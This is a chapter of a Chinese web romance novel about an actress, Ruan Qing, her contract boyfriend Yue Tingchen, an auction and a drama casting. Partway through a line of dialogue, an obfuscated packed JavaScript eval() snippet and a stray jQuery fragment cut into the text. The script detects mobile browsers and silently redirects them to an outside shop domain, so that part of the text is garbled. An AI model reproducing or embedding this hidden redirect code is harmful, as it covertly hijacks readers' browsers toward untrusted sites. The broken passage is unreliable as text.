最后一件藏品,是一件距今一千多年的青瓷瓶。能作为收官拍品不是因为其价值高,而是因其保存极好,品相出众。
这件藏品的起拍价同样是一千万。
喜欢这类古玩的人不在少数,不少人一百万一百万地往上加,加到两千万时,一个懒散的男声响起:“三千万。”
又是几轮加价,价格被加到三千九百万时,这个男声再度响起:“五千万。”
阮晴克制住自己回头去看那人的心情——他这做派跟越庭琛的挥金如土看着像一路人。
五千万似乎超出了全场人的预期,没有人再与他竞价,他以五千万拍下了这件青瓷瓶。
离场时,阮晴跟越庭琛被程蔚然叫住,“我在等我妹妹,一起?”
阮晴保持沉默,却悄悄去看越庭琛的脸,很可惜,没看出任何异常。
“哥——”一行人身后响起清亮的女声,程淑挽着一个年轻男人走来。
男人穿着黑色皮衣,微长的短发卷曲着,细碎的刘海覆住额头,只露出圆润明亮的大眼睛,单边耳朵上戴着一枚翠绿宝石耳钉。整个人的风格像是漫画男主,懒散又随意。
阮晴竟然认识这个人。
前两年因颜值和才气爆火的偶像歌手,辛辞树。
程淑先跟哥哥打趣:“又换女朋友了?”
程蔚然笑而不语,安若素泰然自若。
程淑又夸安若素“你今天真漂亮”,转到越庭琛,只矜持地点头,到了阮晴,又是夸她“你今天真漂亮”。
阮晴克制着没表现出嘴角抽搐——原来程淑看自己就跟看安若素一个样子啊!
程淑对她跟安若素讲话的神态、语气和腔调都一样,甚至连说出口的话也不换一个字。分明是敷衍的态度,偏偏表现得风度翩翩,或许这就是有钱人特有的刻薄吧,简称,装。
阮晴打量回去,笑眯眯地对程淑说:“谢谢,你今天真漂亮。”模仿程淑的做派模仿了个九成九。
辛辞树瞥了阮晴一眼,程淑则一愣,还没反应过来,安若素就噗嗤一笑。程淑脸上泛起红晕,有些羞窘的模样。
“啧,”辛辞树不知怎么地巧妙脱开程淑的手,一手插兜,另一手在空中摆摆,睡眼惺忪打了个哈欠,“你们继续聊,我先走了。”
这个声音……辛辞树就是刚刚拍下最后一件藏品的男人!
原来他团队给他营销的什么“不好好唱歌就得回家继承家产了”的富二代人设居然不是假的?!
程蔚然似乎对他这样颇为习惯,只闲扯两句:“不记得你喜欢这种古董,怎么今天拍下了?”
辛辞树揉揉眼睛,懒散地答:“太后娘娘喜欢,送给她当贺寿礼物。”
程蔚然点点头,又问:“钱从谁的账上划?”
“当然是我爸了,我的钱都花了,哪儿买得起?”辛辞树一脸理所当然。
程蔚然摇头叹气,笑着指越庭琛:“都是从小认识的,你能不能跟庭琛学着点,你家老爷子上回还跟我家那位一齐夸他,把我们俩贬到不知道哪儿去了。”
“我又不继承我爸公司,犯不着跟他比。不过你确实比不上他。”
辛辞树满脸无辜,像是心直口快般说出这句话,却在看到程蔚然僵硬的脸时露出了灿烂的笑容,“我开玩笑的哈哈,真走了,拜拜。”
他只草草跟大家挥挥手,路过阮晴时,停下,露出单纯无害的笑:“我外甥女挺喜欢你的,下次见面给个签名。”也不等阮晴回话,他就自顾自地离开了。
阮晴奇了,自己一没答应,二不知道下次见面是何年何月,他就这么笃定了?
辛辞树的确不是一个无的放矢的人。
没过几天,阮晴就得到通知,自己拿到了《缘劫》的女主越柒一角,而且是直接签合同,并预计集训一个月后,于次年元旦后正式开拍。
而辛辞树,则是本剧ost演唱歌手之一,还接受了邀请,在剧中客串一个戏份不多的角色。
签完合同回家的路上,阮晴坐在副驾驶,听着华杉沉稳的声音:“我跟庞诚敬聊过,他很意外我居然不知道原因,跟我有技巧地透露说越庭琛追加了几笔投资,而且承诺电视剧后期上星也能跟电视台那边合作。”
阮晴了然。
越庭琛原本并没有投资这个项目,想必是因为她,他才参与进来,而他一出手投资金额就不会小,一下子就能掌握项目的大半话语权,更别提他给予的上星保证了。
现在这么多资方,真能跟电视台沟通上星的,还真不多,安若素和她后面的程蔚然就做不到。
她灵光一闪,搜了下《缘劫》的出品方,再去搜这几家公司的实际控制人,果然在一家公司的股权架构图里看到了程蔚然的名字。
难怪安若素之前没有面试过就被内定,原来是有这层关系。
不过她也不是光明磊落地拿到这个角色,这种幕后运作的手段,只要她能抓住,也是一定会用的。
对于娱乐圈的潜规则,她既然身在其中,便能用则用。
可越庭琛帮了她这么大的忙,她再怎么也得说声谢谢吧。
阮晴侧头对华杉说:“前面路口放我下来吧,我先不回家。”
华杉也没问原因,让她下车前戴好口罩。
根据龚特助发来的越庭琛日程表,他现在就在公司里,她还是头一回去,拦了辆出租车报了手机地图上显示的位置。
13:00抵达公司大楼,阮晴没有门禁卡或者预约,压根进不去。
她点开手机,发了条消息:【你忙吗?我想见见你,我在你公司楼下。】
等了十多分钟,没有回复,阮晴便试着打电话,无人接听。
就在她一筹莫展的时候,一个熟悉的身影闯进了她的视线。
她小跑到那人身边,喊:“龚特助!”
龚特助吃了一惊:“阮小姐,您怎么在这里?是来找越总的吗?”
阮晴点头,晃晃手机,“联系不上他。”
“您找越总是有什么急事吗?”
阮晴犹豫了一下,说:“不是什么急事。”
龚特助点点头,温声说:“上午的会议推迟了,越总正在开会呢,我先带您去会客厅坐坐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626909|203855||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
吧,等越总开完会我立刻告诉您。”
“谢谢。”阮晴露在口罩外的那双大眼睛忽闪忽闪,笑眼弯弯。
俩人上了电梯,电梯门合上后,两个员工凑到一起小声嘀咕:“那人是谁啊?龚特助对她这么客气?”
“看穿着也不像合作方的人啊,像是探班家属。”
“龚特助女朋友?”
“得了吧,谁对自己女朋友点头哈腰的?别是越总……吧。”
“怎么可能?我们越总这么多年断情绝爱似的,生人勿近!而且你少装蒜,上次我可看见了哈,你对你女朋友就这样!”
“……”
会客厅在办公楼第21层,很宽敞,阮晴坐上真皮沙发,接过龚特助递来的茶水,然后就看着窗外发呆。
发呆半小时时,会客厅的门被推开,龚特助进来跟她表示抱歉,会议仍在继续。
直到又等了半小时后,阮晴才后悔没有问清楚这个破会议要开多久,毕竟她下午四点半还有一节临时抱佛脚的古典舞基础课,是为进组做准备的。
她打开手机,当看小说一样看起了《缘劫》的剧本,等精读完第一卷时,屏幕时间显示为15:24。
阮晴想了想,给越庭琛发了条消息:【看来你很忙,我还要去上课,就先走啦。下次再来找你。】
她起身,恰巧碰到龚特助推门进来,她决定再尝试一遍,问:“越总开完会了?”
龚特助歉然:“还没有,您这是要去哪儿?我能帮您做什么吗?”
阮晴摇摇头,微笑说:“我还有事,要先走了。你见到越庭琛的话麻烦告诉他我来过,让他有空联系我,谢谢!”
自己在这里等了他两个半小时,肯定得让他知道啊,不然不是白等了!
龚特助送她去坐电梯,然后继续处理工作,到16:12,越庭琛才走出会议室。
龚特助快步上前,跟在他身后走进越庭琛的办公室,汇报完工作,才简要地说:“阮小姐下午一点钟来找过您,但她说不是什么急事,我就安排她在会客厅等您,她一直等到下午三点半左右因为有事就离开了。”
越庭琛放下手里的文件,打开手机,目光停留在和阮晴的对话框界面,头也不抬地说:“让她等了我三个小时,就是你的判断?”
明明是两个半小时……龚特助虽然这么想,但肯定不能这么说,他毕竟是一个在职场游刃有余的老江湖了,灵光一闪,殷勤道:“是我的失误。下次阮小姐拜访,我第一时间报告给您。”
“出去吧。”越庭琛不置可否。
龚特助深谙越庭琛的态度,把这当成了肯定的回复,离开了办公室。
越庭琛一向以工作为先,倒不是说喜欢连轴转加班,而是做事严谨务实,有始有终。他处理工作高效有序,在工作之余也会把爱好安排好。
可阮晴是他生活里的一个变量,龚特助能借这个机会清楚越庭琛对这位合约女友的态度,也能方便以后行事。
这就是一个职场精英的职业素养!龚特助暗暗给自己打气,同时把阮晴的重要等级排序提升了一档。